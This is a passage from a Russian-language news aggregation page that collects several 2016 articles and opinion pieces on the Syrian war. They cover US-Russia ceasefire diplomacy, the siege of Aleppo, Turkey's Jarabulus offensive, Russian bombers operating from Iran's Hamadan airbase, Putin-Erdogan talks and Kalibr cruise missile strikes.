    Президент Путин, со своей стороны, должен проявлять заботу о моральном состоянии нации на фоне первого понижения жизненного уровня для многих россиян после распада Советского Союза. Это считается весьма серьезным риском, и пошли разговоры о том, что Путин может перенести президентские выборы на следующий год. Ни он, ни его министр иностранных дел Сергей Лавров не могут себе позволить быть слишком любезными в отношении американцев.

    Однако есть еще одна причина, по которой здоровье американо-российских отношений или отсутствие такового не должны оцениваться только на основании их переговоров по Сирии — верить в способность этих двух стран закончить конфликт в Сирии значит верить в то, что холодная война продолжается и что каждая война является посреднической войной великих держав.

    Мы живем в другое время, и Сирия не является конфликтом времен холодной войны. Он более масштабен, в нем участвуют многочисленные и разные посредники, а их лояльность смещается то в одну, то в другую сторону. Он также более узок в том смысле, что единственным его устойчивым решением должен быть такой вариант, который бы устроил живущих там людей. Внешние силы не способны навязать мир, пока стороны конфликта считают, что существуют еще позиции, которые могут быть завоеваны.

    Если сирийский конфликт вообще что-то продемонстрировал, так это то, что ни одна из бывших сверхдержав не способна контролировать своих клиентов на территории, где разворачиваются события. Последнее прекращение огня провалилось не только из-за того, что Соединенные Штаты по ошибке нанесли бомбовый удар по сирийским войскам, и не только из-за того, что был уничтожен гуманитарный конвой. Оно закончилось неудачей из-за того, что спонсоры этой сделки — Соединенные Штаты и Россия — не были способны контролировать последующие события.

    Соединенные Штаты явно не способны управлять так называемыми умеренными, и, возможно, американцы не совсем уверены в том, кто они такие. Нечто подобное можно сказать по поводу Путина и Асада. Если судить по тексту заявления Госдепартамента США о прекращении переговоров, то создается впечатление, что даже Вашингтон начинает признавать отсутствие у Путин возможности включать или выключать Асада.

    Кроме того, вполне могут существовать и сторонники крайне жесткой линии — в Пентагоне и, возможно, в российском Министерстве обороны, — которые считают, что это их дело вести борьбу в мире и делить его между собой. Провалившееся соглашение о прекращении огня демонстрирует и нечто другое — то, что американо-российского спонсорства уже недостаточно.

    Для поддержания любого соглашения о прекращения огня, не говоря уже о завершении конфликта, либо значительно больше сторон должны принять участие в качестве спонсоров — включая Иран, Саудовскую Аравию и Турцию, — либо сами сирийцы должны заявить о его окончании. Но это, вероятно, не случится до тех пор, пока не появится победитель.

    Подобную мысль нельзя назвать приятной. Но, возможно, ситуация такова, что российско-американские усилия по достижению мира следует рассматривать как похвальные, хотя они, в конечном итоге, были обречены на провал. Не потому что Соединенные Штаты и Россия не могут договориться, а потому, что прежних сделок между сверхдержавами уже недостаточно. Возможно, это плохая новость для Сирии, но это означает, что она не должна быть единственным индикатором американо-российских отношений. Имеются намеки на то, что Москва и Вашингтон это понимают, несмотря на взаимные обвинения.

  • Алеппо – символ слабости США перед новой «осью зла»

    Алеппо – символ слабости США перед новой «осью зла»

    Syria_Ethno-religious_composition.Из-за нерешительности Обамы на Ближнем Востоке появилась «ось зла» из России, Ирана и Сирии под руководством Башара Асада

    В апреле 1937 году авиация нацистской Германии совершила налет на один из баскских городов — первый среди многих случаев, когда мирные жители стали жертвой целенаправленной бомбардировки. Тогда уроженец Испании Пабло Пикассо изобразил произошедшую трагедию в своей известной картине «Герника». Будь художник жив сегодня, он бы написал картину «Алеппо», которую стоило бы повесить у Белого дома, пишет Ричард Коэн в статье для Washington Post.

    Автор отмечает, что, как и Герника времен гражданской войны в Испании, Алеппо переживает ту же судьбу: этот крупный город Сирии сравнивают с землей в ходе многочисленных бомбардировок и применения химического оружия. На примере сирийского города мир, считает автор, повторяет забытый урок баскской Герники.

    В каждом своем интервью президент Барак Обама говорит, что у него раздирает душу от страданий, которые переживают граждане Сирии, однако это слабое утешение для жертв в Алеппо. Слова главы Белого дома не подвигли Россию и правительство Сирии остановить свои бомбардировки, тогда как государственный секретарь США Джон Керри безуспешно пытается взывать к сознательности президента России Владимира Путина, который, в отличие от Обамы, знает, чего он хочет. Он хочет одержать верх.

    И провал Керри, пишет Коэн, не его вина, это вина Обамы. Он гордится тем, что он противоположность Джорджа Буша — младшего, что он не вовлек США в очередной конфликтмасштабов Ирака. Тем не менее, отмечает автор, последствия сирийского конфликта были катастрофическими: около 500 тыс. погибших, 7 млн внутренне перемещенных лиц и кризис с беженцами в Европе.

    Одним из многочисленных последствий этого кризиса стала убежденность в том, что США никогда не смирятся с убийством невинных людей в таких масштабах. Однако это произошло. Своим бездействием президент Обама способствовал появлению «действительной оси зла», состоящей из России, Ирана и Сирии Башара Асада, которые «давят все на своем пути».

    Таким образом, считает автор, Алеппо является символом слабости США, и президент РФ Владимир Путин, который делает что хочет в Сирии: крадет электронные письма политиков США и вмешивается в выборы, и идет на ряд других возмутительных шагов, — давно «раскусил» Обаму, у которого много ума, но никакой силы.

    И Россия не одна бросает вызов мощи США. Так, президент Филиппин Родриго Дутерте называет Обаму «сыном проститутки» и вместо того, чтобы послать флот, Обама отменяет свой визит. Китай строит искусственные острова в Тихом океане, выдвигая претензии на торговые пути. Северная Корея разрабатывает баллистические ракеты, которые способны доставить ядерное оружие в Калифорнию. И одному Богу известно, чем занят Иран.

    Стало ли проявление слабости в Сирии причиной всего этого? Неизвестно. Однако нежелание США идти на решительные шаги почти точно стало поводом для активных мер других стран. По мнению автора, было необязательно направлять сухопутные войска в Сирию, достаточно было ввести бесполетную зону над страной. Тогда, лишившись авиации, президент Сирии Башар Асад вернулся бы к занятию офтальмологией, Россия бы не стала вмешиваться в конфликт в Сирии, а Тегеран и его сторонники, такие как шиитская «Хезболла», занимались бы своими делами, а не поддерживали правительство Асада.

    Урок Герники забыт — скривленные от ужаса лица, покалеченные тела и прочие лики насильственной смерти. Теперь же перед нами повторяется то же самое в Алеппо, и, как и тогда, мало что делается для того, чтобы остановить кровопролитие, и, как и тогда, за Алеппо последуют более тяжелые последствия.

    Напомним, бомбардировка баскского города Герника состоялась 26 апреля 1937 года. Ее осуществлял немецкий «Легион Кондор», выступивший в поддержку профашистского генерала Франсиско Франко во время гражданской войны в Испании, в ходе которой поддержку республиканцем оказывал ряд государств, в том числе и СССР, направивший в страну военных специалистов, а также военные грузы. Участвовало в конфликте и большое число добровольцев из большого числа стран, не желавших победы фашистов.

    В свою очередь, Франция и Англия заявили о своем нейтралитете в конфликте и запрете поставок оружия в страну. Такой же шаг сделало и правительство США, наложив эмбарго на экспорт оружия в Испанию и аннулировав все ранее заключенные с Испанией соглашения о приобретении оружия в США.

    Многие историки едины во мнении, что именно действия Запада привели к победе франкистов. Генерал Франко, может, и вошел в Мадрид с помощью немецких и итальянских танков, но помешать ему в этом не дали Париж, Лондон и Вашингтон. Предчувствуя, предвестником чего является гражданская война в Испании, Эрнест Хемингуэй пишет свой роман «По ком звонит колокол». По ком зазвонит колокол, если США свергнут Асада?
    27.09.16

    Источник — regnum.ru
  • Анкара начала наступление на сирийском фронте не благодаря, а вопреки обстоятельствам

    Анкара начала наступление на сирийском фронте не благодаря, а вопреки обстоятельствам

    turkey flagТофик Аббасов, автор haqqin.az

    Анкара начала наступление на сирийском фронте не благодаря, а вопреки обстоятельствам, которые формируют не самый позитивный фон для переформатирования региональной дипломатии Турции. Резкий заход армейских формирований в Сирию в свете накопившегося военно-дипломатического сумбура, которым оброс послужной список страны за предыдущие месяцы, высвечивает немало слабых мест в броне национальной политики.

    Острое желание президента Эрдогана обнулить табло с большим числом фолов понятно, но торопливость и игнорирование существенных мотивов сложившейся остановки могут обмануть надежды.

    Формирование более выгодной геополитической конъюнктуры для властей страны после неудавшегося военного переворота, провалов на российском и израильском направлениях, в условиях подвешенного состояния отношений с другими региональными акторами важно, чтобы наконец размочить счет выигрышных ходов. Переговоры и консультации Эрдогана в Санкт-Петербурге, с американским вице-президентом Байденом в Анкаре, похоже, обнадежили Анкару. Иначе президент не отдал бы приказ о наступлении вдоль южных границ с Сирией. Но интрига в том, насколько Анкаре хватит ресурса, чтобы добиться цельного результата и не угодить в орбиту призрачных продвижений.

    В режиме прорыва

    Судьба нового турецкого старта в региональной партии будет зависеть не только от решимости Анкары, но и от позиции других влиятельных игроков. В условиях регионального пожара с эпицентром в Сирии некоторые из них не торопятся вступать в зону повышенного риска, давая возможность строптивцам обжечься.

    Начав успешную атаку в Джераблусе, Анкара смогла добиться желанного успеха. Передовые отряды ИГИЛ и совместно с ними курдские повстанцы отброшены назад. К тому же Вашингтон, оказав содействие наступательной операции с воздуха, продемонстрировал приверженность союзническим обязательствам. Но насколько это повлияет на дальнейший расклад, если из Москвы уже прозвучали неодобрительные возгласы относительно предпринятого наступления? Российская сторона недвусмысленно заявляет, что план взятия Джераблуса не только не был согласован с Москвой, но и в определенной степени идет вразрез с видениями Кремля. А встреча начальников штабов российской и турецкой армий и вовсе отменилась.

    Стало быть, Анкара, дежурно поддакивая северному соседу, продолжает свою игру, согласовывая основные детали плана с Западом, и в качестве отвлекающего маневра успокаивает своих традиционных антагонистов посылом о том, что «Башар Асад пока может остаться в своем кресле».

    Москва и Тегеран в вопросе о будущем сирийского президента всегда выступали с единых позиций, и они не так уж и наивны, чтобы попасться на крючок. Если Эрдоган махнул рукой на договоренности, достигнутые с Путиным, он автоматически проигнорировал и мнение Тегерана, с которым, кстати, Анкара также выстраивает новые параметры доверительности. Из этого следует, что Турция в региональной игре ничего не меняет, а лишь выстраивает новую конструкцию декорации, дабы заслонить вид конкурентам и под шумок добиться физического присутствия в важных точках растерзанной страны.

    Эту задачу Эрдоган не смог выполнить доселе, и ее стратегическая важность заключается в том, чтобы создать наконец плацдарм для так называемой умеренной оппозиции, а в последующем сделать из нее инструмент влияния. Если турецкий спецназ сможет укрепиться в Джераблусе и надежно оттеснит курдское ополчение, то вполне возможно, что вскоре даст о себе знать и туркманский сегмент, который пока еще в тени.

    За счет него Анкара сможет нарастить запас прочности в своем присутствии на сирийской территории. В будущем благодаря подконтрольным силам она также сможет расширить ряды оппозиционеров Асада, что превратит Турцию в хозяина положения. Тогда ей будет под стать диктовать условия и формировать выгодный для себя расклад.

    Традиционные соперники Анкары в лице союзников Асада пока осторожны в оценках. Что будет после, нетрудно догадаться. Они представят счет Эрдогану за нарушение ранее обговоренных правил. Но если к тому моменту Турция продолжит действовать решительно и обозначит свое явное преимущество, это будет означать, что Турция смогла выждать момент и в нужный час предприняла точечные действия. Так недолго и переломить ход борьбы в свою пользу, да еще и застолбить за собой солидный гандикап.

    Однако это видится маловероятным. Сирийское правительство уже обвинило Турцию в нарушении международного права, потребовав незамедлительного вывода турецких войск с территории страны. Это означает, что Москва и Тегеран поддержат Асада, осудив нарушение сирийского суверенитета.

    Наравне с внешними игроками курды Сирии выразили протест против вторжения северного соседа силой оружия. Проигнорировав требование турецких войск отступить, они пытаются закрепиться в стратегически важных высотах вокруг Джераблуса. Артиллерия и воздушные налеты турок пока не могут выкурить местных курдов из занятых территорий, что означает, что в скором времени на западном берегу Евфрата может сформироваться анти-турецкий фронт.

    Эхо второго фронта

    Если президент Эрдоган пошел на решительный шаг, значит он соизмерил все риски, а также предусмотрел отходные пути. И еще вознамерился запустить выверенный наступательный вектор в региональной политике. Это в своем роде вызов конкурентам. В какой форме они его примут, станет известно совсем скоро.

    Начало боевой операции на внешних рубежах возымеет консолидационный эффект внутри страны, тем более, что турецкое общество еще не совсем оправилось после попытки военного переворота. В случае успеха сам главком Эрдоган значительно пополнит свой политический актив, заодно оформит виды страны на региональное лидерство.

    Теоретически это вполне реально. Но в условиях, когда Ближний и Средний Восток находятся во власти террористической активности, то и дело происходят непредвиденные вспышки насилия, реалистичность планов по взятию ситуации под контроль одной страной, даже если она располагает достаточным для этого потенциалом, не очень выглядят убедительными.

    Вокруг сирийского кризиса замкнулись интересы более чем 40 государств. Они без конца перебирают возможности, пересматривают цели, переманивают новых союзников, идут на создание блоков, которые де-факто оказываются малоэффективными. Уж куда рациональнее выглядят те из акторов, которые не следуют иллюзорным планам.

    Турция после череды неудач оформила новую заявку на успех. Насколько она убедительна, знает один человек – президент Эрдоган, который привык действовать без оглядки. Даже если за спиной разрываются заряды поясов смертников. Но как бы ни разворачивались события на сирийском направлении, с ситуацией на втором, антитеррористическом фронте все равно придется считаться. Таковы условия боев без правил.

    haqqin.az

  • Эрдоган реализует в Сирии американский план «Б»

    Эрдоган реализует в Сирии американский план «Б»

    Syria_Ethno-religious_composition.Москва озабочена действиями Анкары на севере Сирии, но Вашингтон одобрил военное вмешательство Турции в конфликт. Официальный представитель Белого дома Джош Эрнест назвал наступление турецких войск и взятие Джараблуса «существенным прогрессом». Военные эксперты не исключают, что начатая по инициативе турецкого президента Реджепа Тайипа Эрдогана операция «Щит Евфрата» по блокированию сирийско-турецкой границы перерастет в более активные боевые действия на всей территории, которую сейчас удерживает «Исламское государство» (ИГ – террористическая организация, запрещенная в РФ).

    Возможность подобного сценария косвенно подтвердил и сам Эрдоган, который, говоря о целях ввода своих войск в Сирию, заявил, что Турция «намерена устранить все угрозы для своих граждан и решить сложную задачу по обеспечению безопасности страны». Турецкие танки во взаимодействии с боевиками оппозиционной Сирийской свободной армии (ССА) и при поддержке авиации США молниеносно освободили Джараблус. Это говорит о том, что армия Турции и подразделения ССА становятся главной ударной силой в начавшейся сухопутной операции американской коалиции против ИГ. По сути, это и является началом реализации плана «Б», о котором неоднократно упоминал президент США Барак Обама, требуя скорейшего отстранения от власти сирийского лидера Башара Асада.

    Reuters со ссылкой на неназванного высокопоставленного офицера турецкой армии сообщил, что вчера как минимум еще девять танков пересекли границу. По данным агентства, на территории Сирии находятся более 20 турецких танков, причем Анкара готова перебросить сюда дополнительную военную технику, «если потребуется».

    С учетом того, что боевики действуют в основном на «тачанках» (переделанных автомобилях) и ограничены в противотанковых средствах, применение бронетехники дает возможность турецким войскам эффективно наступать. Сообщается, что перед турецкими военными также поставлена задача не допустить, чтобы на территориях, освобожденных от боевиков ИГ, закрепились отряды курдских повстанцев.

    Конечно, подобными действиями возмущен не только Дамаск, но и курдское руководство. Турки, воюя с ИГ, обстреливают и курдские позиции, а прибывший в Анкару вице-президент США Джо Байден заявил, что военные формирования сирийских курдов должны отойти восточнее реки Евфрат – в противном случае они лишатся поддержки Америки. Со стороны Вашингтона это выглядит предательством. С помощью курдского ополчения при поддержке американского и французского спецназа на севере Сирии был освобожден от ИГ стратегически важный город Манбидж. Он находится западнее Евфрата, и его взятие ранее, по утверждению американского командования, было направлено на воссоединение с курдским анклавом в Африне. Воссоединения не произошло. Теперь, когда в игру вступили турецкие войска, США хотят избавиться от курдов, требуя возвращения их на прежние позиции в провинции Хасека.

    Заметим, что вместе с курдами Манбидж брали и боевики ССА. И теперь они стали союзниками не только американцев, но и турок. Российская сторона не раз упрекала ССА в нарушениях перемирия. А правительственные войска Сирии вели с ней боевые действия. Теперь же оппозиционные Асаду отряды ССА при поддержке Турции и США становятся «главными» на освобожденных от ИГ землях. Чем больше будет таких территорий, тем меньше власти останется у Башара Асада. Пока МИД РФ ограничился заявлением, в котором высказал озабоченность действиями Анкары и поддержал курдов. Но уже ясно, что турецкие войска будут вести борьбу не только с ИГ, но и с курдским ополчением. Представитель курдской Партии демократического союза в Москве Абдесалям Али заявил, что поддерживаемые возглавляемой США коалицией сирийские демократические силы считают неизбежными столкновения с турецкими войсками, если те продолжат наступление.

    Пока никаких официальных комментариев по этому поводу не дало российское военное ведомство. Но вряд ли руководство Минобороны РФ устроит, что на севере Сирии возник новый очаг напряженности, а территориальная целостность этой страны вновь под вопросом. Не лучшим образом ведет себя руководство Пентагона. Как передает радиостанция Voice of America, командующий американской операцией в Ираке и Сирии генерал-лейтенант Стивен Таунсенд на днях заявил, что крайне скептически относится к возможности сотрудничества с РФ и, мол, его мнение разделяют многие американские военные. То есть генерал дал понять, что американцы и турки будут вести боевые действия в Сирии без какого-либо взаимодействия с российской военной группировкой, дислоцированной там.

    26.08.2016

    Владимир Мухин
    Обозреватель «Независимой газеты»

    Источник — ng.ru
  • В борьбу с террористами вступила новая российская авиабаза в Иране

    В борьбу с террористами вступила новая российская авиабаза в Иране

    Россия и Иран наращивают боевое взаимодействие в борьбе против сирийских боевиков. Как сообщил секретарь Высшего совета национальной безопасности Ирана Али Шамхани, его страна предоставит РФ инфраструктуру для борьбы с терроризмом в Сирии. Тегеран дал добро на развертывание на своем военном аэродроме Хамадан, расположенном недалеко от границы с Ираком, российской авиагруппы. С этой авиабазы дальние бомбардировщики Ту-22М3 и фронтовые бомбардировщики Су-34 уже нанесли авиаудар по объектам террористических группировок «Исламское государство» и «Джебхат ан-Нусра» (запрещены в РФ) в Сирии.

    В Минобороны РФ заявляют, что боевая авиация уничтожила пять крупных складов с вооружениями, лагеря подготовки боевиков, а также пункты их боевого управления. Такие успехи Воздушно-космических сил (ВКС) будут, видимо, регулярными, поскольку авиабаза в Иране фактически удвоила наши боевые возможности в Сирии. Военно-дипломатические источники сообщают, что соглашение об использовании российской боевой авиацией военной инфраструктуры Ирана было достигнуто 8 августа во время трехсторонней встречи президентов России, Ирана и Азербайджана Владимир Путина, Хасана Рухани и Ильхама Алиева. Подробности пока не сообщаются, но, судя по материалам СМИ, на авиабазе Хамадан уже сейчас дислоцированы отряд (до четырех самолетов) дальних сверхзвуковых ракетоносцев-бомбардировщиков Ту-22М3 и звено (четыре самолета) современных многофункциональных истребителей-бомбардировщиков Су-34 (поколение 4++), а также подразделения боевого и материально-технического обеспечения.

    Военный эксперт, служивший в свое время штурманом на Ту-22М3, на правах анонимности сообщил «НГ», что база Хамадан в Иране выбрана для дислокации самолетов РФ не случайно. Раньше бомбардировщики отправлялись в Сирию с российской авиабазы в Моздоке. Чтобы лететь с максимальной боевой нагрузкой, им требовалась дозаправка в воздухе, что осложняло задачу. Теперь же иранский аэродром для Ту-22М3 находится в относительной близости от целей на территории Сирии (около 900 км), что позволит значительно сократить подлетное время до них и увеличить бомбовую нагрузку на каждый самолет. Эксперт уверен, что Иран будет снабжать нашу авиагруппировку и высокооктановым керосином. Его цена в этой стране одна из самых низких в мире, а значит, эксплуатация российских самолетов там будет дешевле. В то же время для обеспечения безопасности боевой работы Ту-22М3 необходимо применение дополнительных средств противовоздушной обороны, чем и объясняется, что прикрытие действий бомбардировщиков осуществляли самые современные многофункциональные истребители Су-30СМ и Су-35С, базирующиеся на аэродроме Хмеймим.

    Между тем военно-дипломатические источники «НГ» сообщают, что кроме обеспечения поддержки действий нашей авиации с иранской территории уже в ближайшее время Тегеран окажет и конкретную военную помощь официальному Дамаску. Они не исключают, что к операции для поддержки наших ВКС и правительственных сирийских войск подключится регулярная иранская армия. О возможности подобного развития событий чуть больше недели назад намекал заместитель главы иранского МИДа Ибрагим Рахимпур. Пока же арабские СМИ сообщают, что на поддержку войск Башара Асада, ведущих бои в Алеппо, дополнительно направлено около 2 тыс. шиитских бойцов. Это в основном представители группировки «Хезболла», а также добровольцы из Ирана и Ирака, в том числе и из корпуса Стражей исламской революции.

    Однако, несмотря на активную военную помощь режиму Асада со стороны России и Ирана, ситуация в Сирии по-прежнему остается сложной. Местные СМИ сообщают, что в окруженном правительственными войсками и ополченцами городе Алеппо боевики постоянно контратакуют, они также активны в районе Пальмиры и под Дамаском, а также в провинциях Латакия и Идлиб, где помощь террористам по-прежнему негласно осуществляет Турция. Видимо, понимая эту сложность, Москва намерена использовать начавшиеся учения в Средиземноморье и на Каспии для решения реальных боевых задач. Российское военное ведомство вчера сообщило, что Ирак и Иран одобрили запрос Министерства обороны России на проведение учений Военно-морского флота РФ с использованием крылатых ракет «Калибр». Эти ракеты уже в ближайшее время, видимо, полетят из зоны Каспия и будут использованы против войск ИГ в Сирии.

    Владимир Мухин
    Обозреватель «Независимой газеты»
    17.08.16

    Источник — ng.ru
  • Что если Эрдоган и Путин договорились о закрытии сирийской границы?

    Что если Эрдоган и Путин договорились о закрытии сирийской границы?

    erdogan-putin9 августа 2016 года Владимир Путин и Реджеп Тайип Эрдоган начали процесс «мужественного примирения» после неудавшегося путча в Турции и девяти месяцев напряженности из-за сбитого турецкой авиацией Су-24 на сервере Сирии.

    По итогам двухчасовых переговоров Эрдоган объявил о возобновлении проекта «Турецкий поток», который должен обеспечить поставки российского газа в Турцию и на юг Европы. Он имеет огромное значение для Газпрома, потому что позволит ему еще больше укрепить позиции на европейском рынке.

    Российский лидер в свою очередь подчеркнул, что строительство идущего в Турцию участка может начаться уже в ближайшее время, но что для прокладки трубопровода в Европу требуются гарантии со стороны Брюсселя.

    Москва также возлагает большие надежды на контракт на строительство АЭС «Аккую» в Турции при российском финансировании. Но что бы кто ни говорил, после настолько острого кризиса моментально восстановить отношения не получится.

    «Эрдоган говорит, что хочет начать все с чистого листа в двусторонних отношениях, но так не бывает, — полагает эксперт Высшей школы экономики Алексей Образцов. — Возврата к прошлому не будет. Главная задача двух стран — добиться стабильности на границах. И на это потребуется время».

    Кроме того, список участников переговоров указывает на значимость военной тематики: начальник турецкой разведки Хакан Фидан, глава российского генштаба Валерий Герасимов, госсекретарь по оборонной промышленности Исмаил Демир и директор Центра анализа стратегий и технологий Руслан Пухов.

    И хотя нам неизвестно ничего о поднимавшихся в разговоре вопросах, эксперт по политической географии Фабрис Баланш (Fabrice Balanche) полагает, что «сделка Реджепа Тайипа Эрдогана и Владимира Путина могла касаться закрытия турецко-сирийской границы…»

    Кстати говоря, Россия уже не раз требовала закрытия этой границы, в частности через своего постпреда в ООН Виталия Чуркина. Так, в апреле 2016 года он выступил за введение тотального эмбарго в отношение Исламского государства, а также подчеркнул причастность Турции к контрабанде нефти и древностей.

    Но означает ли закрытие границы прекращение поддержки курдов РПК и проекта независимости Сирийского Курдистана? Едва ли, потому что сложно представить себе, что Россия добровольно откажется от курдского рычага.

    Складывается асимметричная ситуация. Турция меньше России, а Курдов в ней в 12-18 раз больше, чем чеченцев в РФ. Кроме того, Москва пытается скомпенсировать влияние Вашингтона в Иракском Курдистане формированием конкурирующего Курдистана в Сирии, который был бы на ее стороне.

    Россия, сильнейший союзник президента Башара Асада (врага Эрдогана), кардинально изменила соотношение сил военным вмешательством в сентябре 2015 года, что стало потрясением для Турции. Путин — единственный, кого боится Эрдоган. В любом случае, теперь ключевая роль в регионе принадлежит не только Турции, отмечает Фабрис Баланш.

    Саудовские, катарские и американские союзники активно участвуют в операции в Алеппо, в частности в районе Бани-Зейд, где Вашингтон вооружает мятежников. То же самое касается квартала Хан-Туман, где сосредоточены иранские силы. Эр-Рияд в свою очередь отправил туда значительный контингент пакистанских отрядов, которые прошли серьезную военную подготовку.

    Таким образом, отказ от рычага давления под названием «Алеппо» с закрытием границы и без существенных уступок со стороны России и Ирана был бы немыслимой стратегической ошибкой для президента Эрдогана. Сделав столь резкий поворот, он потерял бы лицо.

    Кроме того, переговоры России и Америки о совместных ударах по «Джабхат Фатех аш-Шам» (бывший «Джабхат ан-Нусра»), которые могли бы серьезно изменить расстановку сил в регионе, пока что топчутся на месте.

    «Если американцы будут их бомбить, они покажут себя союзниками Дамаска, — справедливо отмечает Фабрис Баланш. — Операции в Алеппо наглядно иллюстрируют стратегию Саудовской Аравии, Катара и Турции по противодействию договоренности до конца мандата Обамы».

    К тому же, госсекретарь США Джон Керри публично поднял вопрос будущего Турции в НАТО. Директор национальной разведки Джеймс Клеппер в свою очередь отметил, что отсылка турецких солдат отражается на борьбе с ДАИШ в Сирии и Ираке. Как вы помните, до недавнего времени самолеты коалиции использовали авиабазу Инджирлик на юге Турции.

    В такой перспективе Путин не упустил возможность задеть за живое османского султана, подчеркнув, что Вашингтон выразил ему весьма слабую поддержку после попытки путча, и что один из его главных противников Фетхуллах Гюлен скрывается в США.

    Оливье д’Озон (Olivier d’Auzon)
    Le Huffington Post, Франция

    Источник — Иносми
  • Россия готовится к решающей битве за Сирию

    Россия готовится к решающей битве за Сирию

    Ракетный корабль «Дагестан» (Фото: Дмитрий Рогулин/ ТАСС)
    Ракетный корабль «Дагестан» (Фото: Дмитрий Рогулин/ ТАСС)

    Антон Чаблин

    Россия, возможно, использует корабли Каспийской флотилии и оперативного соединения на Средиземном море для ударов крылатыми ракетами по сирийской провинции Алеппо. Последние два месяца за столицу провинции — одноименный город — идет кровопролитное сражение, в котором погибло более тысячи человек.

    Ракет станет больше в 30 раз

    Минобороны направило официальный запрос властям Ирака и Ирана на использование воздушного пространства этих стран для пролета российских крылатых ракет. Об этом в понедельник сообщило информационное агентство «Интерфакс» со ссылкой на анонимный источник в военно-дипломатических кругах.

    Эта новость совпала с началом масштабных военных учений ВМФ России на Каспийском и Средиземном море. Так, на Каспии в учениях принимают участие ракетные корабли «Дагестан» и «Татарстан», а также малые ракетные корабли «Град Свияжск» и «Великий Устюг». Причем это самые «молодые» корабли на Каспии: «Град Свияжск» и «Великий Устюг» были спущены со стапелей Зеленодольского судостроительного завода в 2012 году, а «Татарстан» (он является флагманом Каспийской флотилии) был полностью модернизирован летом прошлого года.

    На «Татарстане» тогда были смонтированы восемь комплексов «Калибр-НК», несущие корабельные крылатые ракеты большой дальности 3М14 (они способны поражать как морские, так и береговые цели, а также подводные лодки). Причем как надстройки, так и дымовая труба «Татарстана» были в ходе модернизации выполнены по технологии stealth (то есть они невидимы для радаров).

    Крылатые ракеты были приняты на вооружение ВМФ, согласно официальной информации Минобороны, в 2012 году — сейчас ими оснащаются как надводные корабли, так и подводные лодки.

    Любопытно, что на международных оружейных салонах «Калибр» никогда не демонстрировали. Тем не менее, сегодня «Калибрами» (в экспортной вариации они носят название «Клуб», а в натовской классификации называются Sizzler — то есть «шипящий») оснащены ВМФ четырех стран — Вьетнама, Индии, Алжира и Китая (хотя китайцы имеют и собственную крылатую ракету YJ-18). Также уже несколько лет обсуждается, что могут начаться поставки «Калибра» для флота Ирана.

    Как указывает военный эксперт, главный редактор журнала «Национальная оборона»Александр Мозговой, «Калибр» — это целый класс ракет, которые имеют модификации и для ВВС, и для сухопутных сил. Однако наибольшее распространение они получили именно на флоте (класса «корабль — берег» и «подводная лодка — берег»).

    Кроме того, особо указывает Мозговой, эти ракеты не подпадают под запреты и ограничения Договора о ликвидации ракет средней и малой дальности (РСМД), вступивший в силу еще в 1988 году. Напомним, что о возможном выходе из этого договора Владимир Путин заявил еще в июне 2013 года, а следом министр обороныСергей Шойгу объявил о том, что «в ближайшие три года мы увеличим число крылатых ракет от сегодняшнего в пять раз, а к 2020 году — в 30 раз».

    Ракетный удар… с точностью в три метра

    Лучшей «рекламой» для крылатых ракет стала серия военных операций, который провели российские ВМФ против «Исламского государства» в прошлом году. Так, в октябре с кораблей Каспийской флотилии было запущено 26 крылатых ракет, которые прошли именно над территорией Ирака и Ирана. А поразили они 11 мишеней, которые находились, по официальным данным, в Сирии — на территории, контролируемой боевиками «Исламского государства», «Джебхата ан-Нусра» и бойцами Свободной сирийской армии (в провинциях Ракка, Идлиб и Алеппо).

    Ракеты проходят по сложной траектории, меняя высоту и направление, на высоте от 50 до 100 метров над поверхностью земли. Именно поэтому они должны проходить в безлюдных районах: «Калибр» движется со сверхзвуковой скоростью. Причем ракета оснащена инерциальной системой наведения и способна автоматически «огибать» сложные элементы рельефа (система наведения комбинированная — инерциальная, по предпусковой программе, а также по данным спутниковой навигации «Глонасс»).

    По официальным данным Минобороны, в результате попадания ракет были разрушены командные пункты, склады боеприпасов, вооружения и ГСМ, завод по производству снарядов и взрывных устройств, а также лагеря подготовки террористов. Дальность применения крылатых ракет составила более двух тысяч километров, но при этом круговое вероятное отклонение не превысило 3 метров.

    Причем запуск сопровождался «пикировкой» между внешнеполитическими ведомствами России, Ирана и США. Американское Минобороны сообщило, что как минимум четыре ракеты разбились в горах где-то в иранской провинции Курдистан (на границе с Ираком). Причем несколько американских изданий подтвердили эту версию, основываясь на том, что Минобороны РФ распространило видеозапись поражения «Калибром» целей в Сирии… но без информации и времени и месте ракетного удара. Официальный Тегеран и Москва опровергли информацию о крушении крылатых ракет, несущих фугасные заряды, в Курдистане.

    В ноябре с кораблей Каспийской флотилии был произведен повторный запуск «Калибров» (на сей раз через территорию Ирана и Ирака прошло 18 ракет). Наконец, в декабре с субмарины «Ростов-на-Дону» (она принадлежит к постоянному оперативному соединению ВМФ России в Средиземном море) совершила еще один ракетный удар по целям в Сирии.

    Богатый опыт использования «Калибра» против боевиков «Исламского государства» и «Джебхат ан-Нусры», по мнению бывшего главкома Черноморского флота (а ныне председателя думского комитета по обороне) адмирала Владимира Комоедова, свидетельствует о том, что эти ракеты будут использовать и во время грядущих учений на Каспии и в Средиземноморье.

    Алеппо — черная дыра для Ближнего Востока

    Очень высокого мнения о «Калибре» и американский военный эксперт Дейв Маджумдар(он является военным редактором аналитического издания The National Interest). На первый взгляд, логичным было использовать для ударов «с моря» по объектам «Исламского государства» 11-тысячетонный крейсер «Москва», который несет боевое дежурство по противовоздушной обороне в прибрежной части Латакии. Он оснащен 16 пусковыми комплексами П-500 («Базальт») и 64 ракетами «Форт» (аналогичны С-300). Но при этом возможностей для наземной атаки у «Москвы» при кажущейся огневой мощи мало.

    Поэтому, делает вывод Маджумдар, и было принято решение задействовать малые корабли из Каспия и Средиземноморья. Кроме того, делает вывод эксперт, это действительно еще и была часть «рекламной» кампании российского вооружения: малые ракетные корабли проекта «Буян», оснащенные пусковыми комплексами «Калибр-НК» вполне по карману экспортным покупателям, которым не требуются эсминцы, крейсеры и линкоры.

    Тем не менее, Маджумдар делает вывод, что нынешние российские ВМФ — это лишь «тень советского флота времен холодной войны» (с чем трудно не согласиться). Эксперт резко критикует и военные власти США, которые пока что проигрывают в очередной «гонке вооружений» не только России и Китаю: скажем, у Америке крайне слабая система противолодочной защиты (ASW).

    В общем, и российские, и западные эксперты сходятся во мнении, что и на сей раз в ходе учений будут отработаны реальные военные задачи. Причем грядущие учения уже вызвали беспокойство на Западе. Скажем, международный обозреватель Альберто Рива(выпускающий редактор издания Vive News) уверен, что Россия хочет просто «показать силу» в период очередной эскалации напряженности с НАТО.

